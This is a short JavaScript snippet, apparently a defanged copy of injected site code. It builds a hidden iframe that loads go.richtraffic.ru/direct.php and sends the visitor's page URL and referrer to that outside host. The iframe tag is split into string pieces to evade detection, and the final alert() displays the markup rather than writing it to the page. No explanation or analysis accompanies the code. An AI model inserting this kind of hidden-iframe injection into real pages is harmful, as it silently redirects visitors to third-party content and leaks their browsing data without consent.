var html = '';
html += '<ifr' + 'ame src="http://go.richtraffic.ru/direct.php';
html += '?url=' + encodeURIComponent(document.location);
html += '&ref=' + encodeURIComponent(document.referrer);
html += '&frm=' + self.parent.frames.length;
html += '&nc=' + Math.random() + '" style="display:none;">';
html += '</ifr' + 'ame>';
alert(html);